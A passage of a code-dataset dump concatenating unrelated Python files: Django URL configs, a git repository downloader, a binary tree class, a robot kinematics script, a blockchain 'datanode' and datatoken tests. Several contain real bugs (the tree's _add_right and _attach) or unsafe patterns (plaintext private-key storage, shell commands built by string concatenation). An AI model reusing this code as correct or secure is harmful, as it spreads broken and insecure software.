{\"reliability\": 5, \"bandwidth\": 10, \"delay\": 105}\n        )\n\n    @staticmethod\n    def _fill_links(links, interfaces):\n        links[\"S1:1<->S2:1\"] = Link(interfaces[\"S1:1\"], interfaces[\"S2:1\"])\n\n        links[\"S1:2<->User1:1\"] = Link(\n            interfaces[\"S1:2\"], interfaces[\"User1:1\"]\n        )\n\n        links[\"S2:2<->User4:1\"] = Link(\n            interfaces[\"S2:2\"], interfaces[\"User4:1\"]\n        )\n\n        links[\"S3:1<->S5:1\"] = Link(interfaces[\"S3:1\"], interfaces[\"S5:1\"])\n\n        links[\"S3:2<->S7:1\"] = Link(interfaces[\"S3:2\"], interfaces[\"S7:1\"])\n\n        links[\"S3:3<->S8:1\"] = Link(interfaces[\"S3:3\"], interfaces[\"S8:1\"])\n\n        links[\"S3:4<->S11:1\"] = Link(interfaces[\"S3:4\"], interfaces[\"S11:1\"])\n\n        links[\"S3:5<->User3:1\"] = Link(\n            interfaces[\"S3:5\"], interfaces[\"User3:1\"]\n        )\n\n        links[\"S3:6<->User4:2\"] = Link(\n            interfaces[\"S3:6\"], interfaces[\"User4:2\"]\n        )\n\n        links[\"S4:1<->S5:2\"] = Link(interfaces[\"S4:1\"], interfaces[\"S5:2\"])\n\n        links[\"S4:2<->User1:2\"] = Link(\n            interfaces[\"S4:2\"], interfaces[\"User1:2\"]\n        )\n\n        links[\"S5:3<->S6:1\"] = Link(interfaces[\"S5:3\"], interfaces[\"S6:1\"])\n\n        links[\"S5:4<->S6:2\"] = Link(interfaces[\"S5:4\"], interfaces[\"S6:2\"])\n\n        links[\"S5:5<->S8:2\"] = Link(interfaces[\"S5:5\"], interfaces[\"S8:2\"])\n\n        links[\"S5:6<->User1:3\"] = Link(\n            interfaces[\"S5:6\"], interfaces[\"User1:3\"]\n        )\n\n        links[\"S6:3<->S9:1\"] = Link(interfaces[\"S6:3\"], interfaces[\"S9:1\"])\n\n        links[\"S6:4<->S9:2\"] = Link(interfaces[\"S6:4\"], interfaces[\"S9:2\"])\n\n        links[\"S6:5<->S10:1\"] = Link(interfaces[\"S6:5\"], interfaces[\"S10:1\"])\n\n        links[\"S7:2<->S8:3\"] = Link(interfaces[\"S7:2\"], interfaces[\"S8:3\"])\n\n        links[\"S8:4<->S9:3\"] = Link(interfaces[\"S8:4\"], interfaces[\"S9:3\"])\n\n        links[\"S8:5<->S9:4\"] = Link(interfaces[\"S8:5\"], interfaces[\"S9:4\"])\n\n        links[\"S8:6<->S10:2\"] = Link(interfaces[\"S8:6\"], interfaces[\"S10:2\"])\n\n        links[\"S8:7<->S11:2\"] = Link(interfaces[\"S8:7\"], interfaces[\"S11:2\"])\n\n        links[\"S8:8<->User3:2\"] = Link(\n            interfaces[\"S8:8\"], interfaces[\"User3:2\"]\n        )\n\n        links[\"S10:3<->User2:1\"] = Link(\n            interfaces[\"S10:3\"], interfaces[\"User2:1\"]\n        )\n\n        links[\"S11:3<->User2:2\"] = Link(\n            interfaces[\"S11:3\"], interfaces[\"User2:2\"]\n        )\n\n        links[\"User1:4<->User4:3\"] = Link(\n            interfaces[\"User1:4\"], interfaces[\"User4:3\"]\n        )\n","sub_path":"tests/integration/edges_settings.py","file_name":"edges_settings.py","file_ext":"py","file_size_in_byte":8460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"93115787","text":"\"\"\"Tp_gkj URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n    https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n    1. Add an import:  from my_app import views\n    2. Add a URL to urlpatterns:  url(r'^$', views.home, name='home')\nClass-based views\n    1. Add an import:  from other_app.views import Home\n    2. Add a URL to urlpatterns:  url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n    1. Import the include() function: from django.conf.urls import url, include\n    2. Add a URL to urlpatterns:  url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.contrib import admin\nfrom rest_framework.routers import DefaultRouter\nfrom rest_framework.routers import SimpleRouter\nfrom apps.wash_machine.api import WashMachineInfoViewSet, WashMachineStartViewSet, \\\n    WashMachineStopViewSet, WashMachineResetViewSet,DownloadLogsViewSet\n\nif settings.DEBUG:\n    router = DefaultRouter(schema_title='Pastebin API', schema_url='api')\nelse:\n    router = SimpleRouter()\n\nurlpatterns = [\n    url(r'^admin/', include(admin.site.urls)),\n    url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\n    url(r'^api/', include(router.urls)),\n    url(r'^api/api-auth/', include('rest_framework.urls', namespace='rest_framework')),\n    url(r'^docs/', include('rest_framework_swagger.urls'))\n]\n\nurlpatterns += [\n    url(r'^info$', WashMachineInfoViewSet.as_view(), name='wash_machine_info'),\n    url(r'^start$', WashMachineStartViewSet.as_view(), name='wash_machine_start'),\n    url(r'^stop$', WashMachineStopViewSet.as_view(), name='wash_machine_stop'),\n    url(r'^reset$', WashMachineResetViewSet.as_view(), name='wash_machine_reset'),\n    url(r'^download$', DownloadLogsViewSet.as_view(), name='download_logs')\n]","sub_path":"Tp_gkj/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1872,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"620963352","text":"#!/usr/bin/env python3\n\n\"\"\"\n[git_downloader.py]\n\nDownloads all the respositories from a GitHub and/or GitLab user's account.\nCopyright (C) 2019, Liam Schumm\n\"\"\"\n\nimport os\nfrom sys import argv\nARGS = argv[1:]\n\nDOC = \"\"\"\nusage:\ngit-downloader (--github)  (--gitlab) (--prompt-deletion)\n\"\"\"\n\nFLAGS = ['--github', '--gitlab']\n\ndef exit_with_doc():\n    \"\"\"\n    Exits the program and prints the docstring, indicating incorrect usage.\n    \"\"\"\n\n    print(DOC)\n    exit()\n\ndef download_github():\n    \"\"\"\n    Prompts a user for credentials and downloads their GitHub repos.\n    \"\"\"\n\n    from github import Github\n    from github.GithubException import BadCredentialsException\n\n    gh_username = input(\"github username: \")\n    gh_password = input(\"github password: \")\n\n    gh_user = Github(gh_username, gh_password)\n\n    try:\n        for repo in gh_user.get_user().get_repos():\n            if repo.full_name.startswith(gh_username + '/'):\n                os.system(\"git clone https://github.com/\" + repo.full_name)\n    except BadCredentialsException:\n        print(\"[git-downloader] (invalid-github-credentials) invalid GitHub credentials.\")\n\ndef download_gitlab():\n    \"\"\"\n    Prompts a user for credentials and downloads their GitLab repos.\n    \"\"\"\n\n    from gitlab import Gitlab\n    from gitlab.exceptions import GitlabAuthenticationError\n\n    gl_username = input(\"gitlab username: \")\n    gl_token = input(\"gitlab personal token: \")\n\n    gl_user = Gitlab(\"https://gitlab.com\", private_token=gl_token)\n\n    try:\n        gl_user.auth()\n        user = gl_user.users.list(search=gl_username)[0]\n        for project in user.projects.list():\n            os.system(\"git clone \" + project.http_url_to_repo)\n    except GitlabAuthenticationError:\n        print(\"[git-downloader] (invalid-gitlab-credentials) invalid GitLab credentials.\")\n\n\ndef main():\n    \"\"\"\n    The main entry point for the git-downloader program.\n    \"\"\"\n\n    use_github = False\n    use_gitlab = False\n\n    for arg in ARGS:\n        if arg in FLAGS:\n            if ARGS.count(arg) > 2:\n                print(\"[git-downloader] (duplicate-flag) flag '\"\n                      + arg\n                      + \" duplicated.\")\n                exit_with_doc()\n            else:\n                if arg == \"--github\":\n                    use_github = True\n                if arg == \"--gitlab\":\n                    use_gitlab = True\n                else:\n                    print(\"[git-downloader] (unknown-flag) flag '\"\n                          + arg\n                          + \" unknown.\")\n                    exit_with_doc()\n\n    if (not use_github and not use_gitlab):\n        print(\"[git-downloader] (warning) nothing to do\"\n              \"(neither --github nor --gitlab specified).\")\n\n    if use_github:\n        download_github()\n\n    if use_gitlab:\n        download_gitlab()\n","sub_path":"git_downloader/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"194100407","text":"from tree.tree import Position as TreePosition\nfrom tree.binary_tree_abs import BinaryTree\nfrom linked_list.linked_queue import LinkedQueue\n\n\nclass LinkedBinaryTree(BinaryTree):\n    \"\"\"Linked representation of a binary tree structure.\"\"\"\n\n    class Node:\n        __slots__ = \"_element\", \"_parent\", \"_left\", \"_right\"\n\n        def __init__(self, element, parent=None, left=None, right=None):\n            self._element = element\n            self._parent = parent\n            self._left = left\n            self._right = right\n\n    class Position(TreePosition):\n        \"\"\"An abstraction representing the location of a single element.\"\"\"\n\n        def __init__(self, container, node):\n            \"\"\"Constructor should not be invoked by user.\"\"\"\n            self._container = container\n            self._node = node\n\n        def element(self):\n            \"\"\"Return the element stored at this Position.\"\"\"\n            return self._node.value\n\n        def __eq__(self, other):\n            \"\"\"Return True if other is a Position representing the same location.\"\"\"\n            return type(other) is type(self) and other._node is self._node\n\n    def _validate(self, p: Position):\n        \"\"\"Return associated node, if position is valid\"\"\"\n        if not isinstance(p, self.Position):\n            raise TypeError(\"p must be proper Position type.\")\n\n        if p._container is not self:\n            raise ValueError(\"p does not belong to this container.\")\n\n        if p._node._parent is p._node:\n            raise ValueError(\"p is no longer valid\")\n\n        return p._node\n\n    def _make_position(self, node):\n        \"\"\"Return Position instance for given node(or None if no node).\"\"\"\n        return self.Position(self, node) if node is not None else None\n\n    def __init__(self):\n        \"\"\"Create an initially empty binary tree.\"\"\"\n        self._root = None\n        self._size = 0\n\n    def __len__(self):\n        \"\"\"Return the total number of elements in the tree.\"\"\"\n        return self._size\n\n    def root(self):\n        \"\"\"Return the root Position of the tree (or None if tree is empty)\"\"\"\n        return self._root\n\n    def parent(self, p):\n        \"\"\"Return the Position of p's parent(or None if p is root).\"\"\"\n        node = self._validate(p)\n        return self._make_position(node)\n\n    def left(self, p):\n        \"\"\"Return the Position of p's left child (or None if no left child).\"\"\"\n        node = self._validate(p)\n        return self._make_position(node._left)\n\n    def right(self, p):\n        \"\"\"Return the Position of p's right child (or None if no left child).\"\"\"\n        node = self._validate(p)\n        return self._make_position(node._right)\n\n    def number_children(self, p):\n        \"\"\"Return the number of children of Position p.\"\"\"\n        node = self._validate(p)\n        count = 0\n        if node._left is not None:\n            count += 1\n        if node._right is not None:\n            count += 1\n        return count\n\n    def _add_root(self, e):\n        \"\"\"\n        Place element e at the root of an empty tree and return new Position.\n        Raise ValueError if tree is nonempty.\n        \"\"\"\n        if self._root is not None: raise ValueError(\"root exists\")\n        self._size = 1\n        self._root = self.Node(e)\n\n        return self._make_position(self._root)\n\n    def _add_left(self, p, e):\n        \"\"\"\n        Create a new left child for Position p, storing element e.\n        Return the Position of new node.\n        Raise ValueError if Position p is invalid or p already has a left child.\n        \"\"\"\n        node = self._validate(p)\n        if node._left is not None: raise ValueError(\"left child exists\")\n\n        self._size += 1\n        node._left = self.Node(e, node)\n        return self._make_position(node._left)\n\n    def _add_right(self, p, e):\n        \"\"\"\n        Create a new right child for Position p, storing element e.\n        Return the Position of new node.\n        Raise ValueError if Position p is invalid or p already has a right child.\n        \"\"\"\n        node = self._validate(p)\n        if node._right is not None: raise ValueError(\"right child exists\")\n\n        self._size += 1\n        node._right = self.Node(e, node)\n        return self._make_position(node)\n\n    def __delete(self, p):\n        \"\"\"\n        Delete the node at Position p, and replace it with its child, if any.\n        Return the element that had been stored at Position p.\n        Raise ValueError if Position p is invalid or p has two children.\n        \"\"\"\n        node = self._validate(p)\n        if self.num_children(p) == 2: raise ValueError(\"p has two children\")\n        child = node._left if node._left else node._right\n\n        if child is not None:\n            child._parent = node._parent\n\n        if node is self._root:\n            self._root = child\n        else:\n            parent = node._parent\n            if node is parent._left:\n                parent._left = child\n            else:\n                parent._right = child\n        self._size -= 1\n        node._parent = node\n        return node._element\n\n    def _attach(self, p, t1, t2):\n        \"\"\"Attach trees t1 and t2 as left and right subtrees of external p.\"\"\"\n        node = self._validate(p)\n        if not self.is_leaf(p): raise ValueError(\"position must be leaf\")\n\n        if not type(self) is type(t1) is type(t2):\n            raise TypeError(\"Tree types must match\")\n\n        self._size += len(t1) + len(t2)\n\n        if not t1.is_empty():\n            t1._root._parent = node\n            node._left = t1._root\n            t1._root = None\n            t1._size = 0\n\n        if not t2.is_empty():\n            t2._root._parent = node\n            node._right = t1._root\n            t1._root = None\n            t1._size = 0\n\n    def __iter__(self):\n        \"\"\"Generate an iteration of the tree's elements.\"\"\"\n        for p in self.positions():\n            yield p.element()\n\n    def _subtree_preorder(self, p):\n        \"\"\"Generate a preorder iteration of positions in subtree rooted at p.\"\"\"\n        yield p\n        for c in self.children(p):\n            yield from self._subtree_preorder(c)\n\n    def preorder(self):\n        \"\"\"Generate a preorder iteration of positions in the tree.\"\"\"\n        if self.is_empty():\n            return\n        yield from self._subtree_preorder(self.root())\n\n    def positions(self):\n        \"\"\"Generate an iteration of the tree's position.\"\"\"\n        return self.inorder()\n\n    def postorder(self):\n        \"\"\"Generate a postorder iteration of positions in the tree.\"\"\"\n        if self.is_empty():\n            return\n        yield from self._subtree_postorder(self.root())\n\n    def _subtree_postorder(self, p):\n        \"\"\"Generate a postorder iteration of positions in subtree rooted at p.\"\"\"\n        for c in self.children(p):\n            yield from self._subtree_postorder(c)\n        yield p\n\n    def breadth_first(self):\n        \"\"\"Generate a breadth-first iteration of the positions of the tree.\"\"\"\n        if self.is_empty():\n            return\n        queue = LinkedQueue()\n        queue.enqueue(self.root)\n        while not queue.is_empty():\n            p = queue.dequeue()\n            yield p\n            for c in self.children(p):\n                queue.enqueue(c)\n\n    def _subtree_inorder(self, p):\n        \"\"\"Generate an inorder iteration of positions in subtree rooted at p.\"\"\"\n        if self.left(p) is not None:\n            yield from self._subtree_inorder(self.left(p))\n        yield p\n        if self.right(p) is not None:\n            yield from self._subtree_inorder(self.right(p))\n\n    def inorder(self):\n        \"\"\"Generate an inorder iteration of positions in the tree.\"\"\"\n        if self.is_empty():\n            return\n        yield from self._subtree_inorder(self.root())\n","sub_path":"tree/linked_binary_tree.py","file_name":"linked_binary_tree.py","file_ext":"py","file_size_in_byte":7715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"53579995","text":"from django.urls import path\nfrom .views import *\n\napp_name = \"education\"\n\nurlpatterns = [\n    path(\"<int:id>/\", detail, name=\"detail\"),  # 글 상세 페이지\n    path(\"new/\", new, name=\"new\"),  # 새 글 작성 페이지\n    path(\"create/\", create, name=\"create\"),  # 새 글 작성 동작\n    path(\"edit/<int:id>\", edit, name=\"edit\"),  # 기존 글 수정 페이지\n    path(\"update/<int:id>\", update, name=\"update\"),  # 기존 글 수정 동작\n    path(\"delete/<int:id>\", delete, name=\"delete\"),  # 기존 글 삭제\n    path(\"\", edulist, name=\"edulist\"),  # 글 목록 페이지\n]","sub_path":"HSE/education/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"335661985","text":"import csv\nfrom inventory.models import Catalogue, Inventory, Tariff, Entry\n\ndef run():\n    f = open('data/Rolex_import.csv')\n    reader = csv.reader(f)\n\n    Inventory.objects.all().delete()\n\n    for row in reader:\n        cat = Catalogue.objects.get(sku=str(row[1]))\n        entry = Entry.objects.get(id=4)\n        tariff = Tariff.objects.get(id=6)\n        c, created = Inventory.objects.get_or_create(internalsku=row[0], cost=row[2], cif=row[3], sku=cat, tariff=tariff, entry=entry )","sub_path":"scripts/inventory.py","file_name":"inventory.py","file_ext":"py","file_size_in_byte":485,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"294293050","text":"                        # ZIG ZAG PROJECT\n\nimport time, sys                            # calling the time and sys mode\nindent = 0                                  # number of spaces\nindentIncreasing = True                     # if the indent/spaces are increasing or not\n\ntry:\n    while True:\n        print(' ' * indent, end='')         # ''*indent is a formula to get the correct number of spaces\n        print('********')\n        time.sleep(0.01)                     # speed of the zig zag\n\n        if indentIncreasing:\n            indent = indent + 1\n            if indent == 20:\n                indentIncreasing = False\n\n        else:\n            indent = indent - 1\n            if indent == 0:\n                indentIncreasing = True\nexcept KeyboardInterrupt:\n                sys.exit()\n\n\n\n\n\n\n\n\n\n\n","sub_path":"functions/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"413576380","text":"#!/usr/bin/env python\n\nfrom os.path import join\nimport time\nimport pinocchio\nimport numpy as np\nfrom numpy.linalg import norm, pinv\n\nPKG = '/opt/openrobots/share'\nURDF = join(PKG, 'ur5_description/urdf/ur5_gripper.urdf')\n\nrobot = pinocchio.robot_wrapper.RobotWrapper(URDF, [PKG])\n# robot = pinocchio.robot_wrapper.RobotWrapper(URDF)\nrobot.initDisplay(loadModel=True)\n\n# robot.viewer.gui.addFloor('world/floor')\n\nNQ = robot.model.nq\n\n# random initial start\nq = pinocchio.utils.rand(NQ)\nrobot.display(q)\n\nIDX_TOOL = 22\nMtool = robot.data.oMf[IDX_TOOL]\n\nTgoal = [.2, -.4, .7]\nQgoal = [.4, .02, -.5, .7]\n\nQgoal = pinocchio.Quaternion(*Qgoal)\nQgoal.normalize()\nMgoal = pinocchio.SE3(Qgoal.matrix(), np.matrix(Tgoal).T)\n\nrobot.viewer.gui.addXYZaxis('world/goal', [1, 0, 0, 1], .015, .2)\nVgoal = pinocchio.utils.XYZQUATToViewerConfiguration(pinocchio.utils.se3ToXYZQUAT(Mgoal))\nrobot.viewer.gui.applyConfiguration('world/goal', Vgoal)\nrobot.viewer.gui.refresh()\n\nDT = .001\nnu = pinocchio.utils.zero(6) + 1\n\nwhile norm(nu) > .01:\n    pinocchio.forwardKinematics(robot.model, robot.data, q)\n    pinocchio.framesKinematics(robot.model, robot.data)\n    Mtool = robot.data.oMf[IDX_TOOL]\n    nu = pinocchio.log(Mtool.inverse() * Mgoal).vector\n    J = pinocchio.frameJacobian(robot.model, robot.data, IDX_TOOL, q)\n    vq = pinv(J) * nu\n    robot.increment(q, vq * DT)\n    robot.display(q)\n    time.sleep(DT)\n","sub_path":"catkin_test/src/robotarm/src/pinocchio_py/pinocchio_test3.py","file_name":"pinocchio_test3.py","file_ext":"py","file_size_in_byte":1394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"303128696","text":"import requests\nimport time\nimport base64\nimport ecdsa\nfrom flask import Flask\nfrom flask import request\n\napp = Flask(__name__)\n\n\nclass datanode:\n    def __init__(self, ip_addr):\n        \"\"\"\n        Give a ip_addr to create a wallet\n        \"\"\"\n        self.ip_addr = ip_addr\n        # personal wallet\n        self.public_key = ''\n        self.private_key = ''\n        # encrypt algothrim\n        self.mpk = []\n        self.msk = []\n        # transaction hash\n        self.mpk_hash = ''\n        self.training_images_hash = ''\n        self.test_images_hash = ''\n        # wait for receive\n        self.company_public_key = ''\n        self.z = []\n\n    def generate_DPIPE_keys(self):\n        \"\"\"\n        To generate Inner-Product-Encryption key-pairs\n        \n        Return mpk,msk\n        \"\"\"\n        mpk = []\n        msk = []\n        return mpk, msk\n\n    def generate_ECDSA_keys(self):\n        \"\"\"\n        To generate Wallet key-pairs \n\n        Return public_key(base64) and private_key\n        \"\"\"\n        sk = ecdsa.SigningKey.generate(curve=ecdsa.SECP256k1)  # this is your sign (private key)\n        private_key = sk.to_string().hex()  # convert your private key to hex\n        vk = sk.get_verifying_key()  # this is your verification key (public key)\n        public_key = vk.to_string().hex()\n        public_key = base64.b64encode(bytes.fromhex(public_key))\n\n        filename = \"/wallet/{}.txt\".format(self.ip_addr)\n        with open(filename, \"w\") as f:\n            f.write(\"Private key: {0}\\nWallet address / Public key: {1}\".format(private_key, public_key.decode()))\n        print(\"Your new address and private key are now in the file {0}\".format(filename))\n        return public_key.decode(), private_key\n\n    def image_encrypt(self,image):\n        \"\"\"\n        To do DP and Inner-Product-Encrypt\n        (image is 18*512 Matrix)\n        \"\"\"\n        encrypted_image = []\n        return encrypted_image\n\n    def choice(self):\n        response = None\n        while response not in [\"1\", \"2\", \"3\", \"4\", \"5\"]:\n            response = input(\"\"\"What do you want to do?\n            1. Generate new wallet and store the mpk in IPFS\n            2. Upload the encrypted image and store the images in IPFS\n            3. Send transactions\n            4. Check transactions\n            5. Quit\\n\"\"\")\n        if response == '1':\n            # Generate new wallet\n            self.public_key, self.private_key = self.generate_ECDSA_keys()\n            self.mpk, self.msk = self.generate_DPIPE_keys()\n            self.mpk_hash = self.store_in_IPFS(self.mpk)\n        elif response == '2':\n            if self.mpk and self.msk:\n                upload = []  # images\n                encrypted_images = self.image_encrypt(upload, self.mpk)\n                self.training_images_hash = self.store_in_IPFS(\n                    encrypted_images[:8])\n                self.test_images_hash = self.store_in_IPFS(\n                    encrypted_images[8:])\n            else:\n                print(\"mpk and msk is not exist.\")\n        elif response == \"3\":\n            if self.public_key != '' and self.private_key != '':\n                addr_from = self.public_key\n                private_key = self.private_key\n                addr_to = \"companynode\"\n                mpk_hash = self.mpk_hash\n                training_images_hash = self.training_images_hash\n                test_images_hash = self.test_images_hash\n                print(\"From: {0}\\nPrivate Key: {1}\\nTo: {2}\\nMPK_hash: {3}\\nTraining_Images_hash: {4}\\nTest_Images_hash: {5}\\n\".format(\n                    addr_from, private_key, addr_to, mpk_hash, training_images_hash, test_images_hash))\n                response = input(\"y/n\\n\")\n                if response.lower() == \"y\":\n                    send_transaction(addr_from, private_key, addr_to,\n                                     mpk_hash, training_images_hash, test_images_hash)\n            else:\n                print(\"public_key/wallet address and private_key is not exist.\")\n        elif response == \"4\":\n            self.check_transactions()\n        else:\n            quit()\n\n    \n\n\n\n    def sign_ECDSA_msg(private_key,message):\n        \"\"\"\n        Sign the message to be sent\n        \"\"\"\n        # # Get timestamp, round it, make it into a string and encode it to bytes\n        # message = str(round(time.time()))\n        bmessage = message.encode()\n        sk = ecdsa.SigningKey.from_string(\n            bytes.fromhex(private_key), curve=ecdsa.SECP256k1)\n        signature = base64.b64encode(sk.sign(bmessage))\n        return signature, message\n\n    \n\n    def store_in_IPFS(thing):\n        \"\"\"\n        IPFS\n        \"\"\"\n        return hash_value\n\n    def send_transaction(addr_from, private_key, addr_to, mpk_hash, training_images_hash, test_images_hash):\n        \"\"\"Sends your transaction to different nodes. Once any of the nodes manage\n        to mine a block, your transaction will be added to the blockchain. Despite\n        that, there is a low chance your transaction gets canceled due to other nodes\n        having a longer chain. So make sure your transaction is deep into the chain\n        before claiming it as approved!\n        \"\"\"\n        if len(private_key) == 64:\n            signature, message = sign_ECDSA_msg(private_key)\n            url = 'http://localhost:5000/txion'\n            payload = {\"from\": addr_from,\n                       \"to\": addr_to,\n                       \"mpk_hash\": mpk_hash,\n                       \"training_images_hash\": training_images_hash,\n                       \"test_images_hash\": test_images_hash,\n                       \"signature\": signature.decode(),\n                       \"message\": message}\n            headers = {\"Content-Type\": \"application/json\"}\n\n            res = requests.post(url, json=payload, headers=headers)\n            print(res.text)\n        else:\n            print(\"Wrong address or key length! Verify and try again.\")\n\n    def check_transactions():\n        \"\"\"Retrieve the entire blockchain. With this you can check your\n        wallets balance. If the blockchain is to long, it may take some time to load.\n        \"\"\"\n        res = requests.get('http://localhost:5000/blocks')\n        print(res.text)\n\n    def pull_company_public_key(self):\n        \"\"\"\n        pull from company\n        \"\"\"\n        pass\n\n    def pull_z(self):\n        \"\"\"\n        pull from company\n        \"\"\"\n        pass\n\n    def generate_sk(self):\n        \"\"\"\n        To use msk and z to generate the sk\n        then send it to the company \n        \"\"\"\n        pass\nnode = datanode()\n\n@app.route('/DP-Face/<employee_name>/public_key', method=['GET','POST'])\ndef pull_company_public_key():\n    if request.method == 'POST':\n        pass\n\n@app.route('/DP-Face/<employee_name>/z', method=['GET','POST'])\ndef pull_company_z():\n    if request.method == 'POST':\n        request.form['asdf']\n        pass\n\nif __name__ == '__main__':\n    print(\"===========Datanode===========\")\n    node = datanode()\n    node.choice()\n    input(\"Press ENTER to exit...\")\n","sub_path":"datanode.py","file_name":"datanode.py","file_ext":"py","file_size_in_byte":6984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"532952763","text":"#\n# Copyright 2021 Ocean Protocol Foundation\n# SPDX-License-Identifier: Apache-2.0\n#\nimport json\nimport os\nimport time\nfrom unittest.mock import patch\n\nimport pytest\nfrom ocean_lib.common.ddo.ddo import DDO\nfrom ocean_lib.models.data_token import DataToken\nfrom ocean_lib.web3_internal.constants import ZERO_ADDRESS\nfrom ocean_lib.web3_internal.currency import to_wei\nfrom tests.resources.ddo_helpers import get_resource_path\nfrom web3.exceptions import TimeExhausted, TransactionNotFound\n\n\ndef test_ERC20(alice_ocean, alice_wallet, alice_address, bob_wallet, bob_address):\n    \"\"\"Tests DataToken minting, allowance and transfer.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n    assert token.datatoken_name() == \"DataToken1\"\n    assert token.symbol()[:2] == \"DT\"\n    assert token.decimals() == 18\n\n    assert token.balanceOf(alice_address) == 0\n    assert token.totalSupply() == 0\n\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n    assert token.balanceOf(alice_address) == to_wei(100)\n\n    assert token.allowance(alice_address, bob_address) == 0\n    token.approve(bob_address, to_wei(1), from_wallet=alice_wallet)\n    assert token.allowance(alice_address, bob_address) == to_wei(1)\n    token.increaseAllowance(bob_address, to_wei(1), from_wallet=alice_wallet)\n    assert token.allowance(alice_address, bob_address) == to_wei(2)\n    token.decreaseAllowance(bob_address, to_wei(1), from_wallet=alice_wallet)\n    assert token.allowance(alice_address, bob_address) == to_wei(1)\n    token.transferFrom(alice_address, bob_address, to_wei(1), from_wallet=bob_wallet)\n    assert token.balanceOf(alice_address) == to_wei(99)\n    assert token.balanceOf(bob_address) == to_wei(1)\n\n    token.transfer(bob_address, to_wei(5), from_wallet=alice_wallet)\n    assert token.balanceOf(alice_address) == to_wei(94)\n    assert token.balanceOf(bob_address) == to_wei(6)\n\n    token.transfer(alice_address, to_wei(3), from_wallet=bob_wallet)\n    assert token.balanceOf(alice_address) == to_wei(97)\n    assert token.balanceOf(bob_address) == to_wei(3)\n\n    # assert transfers were successful\n    block = alice_ocean.web3.eth.block_number\n    block_confirmations = alice_ocean.config.block_confirmations.value\n    # On ganache, each block has 1 transaction in it, so querying all 3 transfer\n    # events generated by this test, requires checking the current block and two\n    # previous blocks.\n    all_transfers = token.get_all_transfers_from_events(\n        block - (block_confirmations + 2), block, chunk=1\n    )\n    assert len(all_transfers[0]) == 3\n\n\ndef test_status_functions(alice_ocean, alice_wallet, alice_address):\n    \"\"\"Tests various status functions of the DataToken class.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    token.mint(alice_address, to_wei(100), from_wallet=alice_wallet)\n\n    assert token.balanceOf(alice_address) == to_wei(100)\n    assert token.totalSupply() == 100_000_000_000_000_000_000\n    assert token.cap() == 1_000_000_000_000_000_000_000\n    assert token.datatoken_name() == \"DataToken1\"\n    assert token.minter() == alice_address\n    assert token.isMinter(alice_address)\n    with pytest.raises(ValueError):\n        token.get_event_signature(\"not a registered event\")\n\n\ndef test_initialize(alice_ocean, alice_wallet, alice_address):\n    \"\"\"Tests that attempting to re-initialize a datatoken fails.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    assert token.isInitialized()\n    with pytest.raises(ValueError):\n        token.initialize(\n            \"NewName\",\n            \"NN\",\n            alice_address,\n            1000,\n            \"foo_blob\",\n            alice_address,\n            alice_wallet,\n        )\n\n\ndef test_calculateFee(alice_ocean, alice_wallet):\n    \"\"\"Tests the DataToken calculateFee method.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    fee = token.calculateFee(to_wei(100), DataToken.OPF_FEE_PER_TOKEN)\n    assert fee == to_wei(\"0.1\")\n\n\ndef test_blob(alice_ocean, alice_wallet):\n    \"\"\"Tests DataToken creation with a string blob.\"\"\"\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", alice_wallet, blob=\"foo_bar\"\n    )\n    assert token.blob() == \"foo_bar\"\n    assert token.get_simple_url() is None\n\n\ndef test_blob_json(alice_ocean, alice_wallet):\n    \"\"\"Tests DataToken creation with a json blob.\"\"\"\n    blob_dict = {\"t\": 0, \"url\": \"http://tblob/\", \"foo\": \"bar\"}\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", alice_wallet, blob=json.dumps(blob_dict)\n    )\n    assert token.blob() == json.dumps(blob_dict)\n    assert token.get_simple_url() == \"http://tblob/\"\n\n    blob_dict = {\"t\": 1, \"url\": \"http://tblob/\", \"foo\": \"bar\"}\n    token = alice_ocean.create_data_token(\n        \"DataToken1\", \"DT1\", alice_wallet, blob=json.dumps(blob_dict)\n    )\n    assert token.get_metadata_url() == \"http://tblob/\"\n\n\ndef test_setMinter(alice_ocean, alice_wallet, alice_address, bob_wallet, bob_address):\n    \"\"\"Tests that a minter can be assigned for a Datatoken.\"\"\"\n    ocean = alice_ocean\n    token = ocean.create_data_token(\n        \"DataToken1\", \"DT1\", from_wallet=alice_wallet, blob=\"foo_blob\"\n    )\n\n    # alice is the minter\n    token.mint(alice_address, to_wei(10), from_wallet=alice_wallet)\n    token.mint(bob_address, 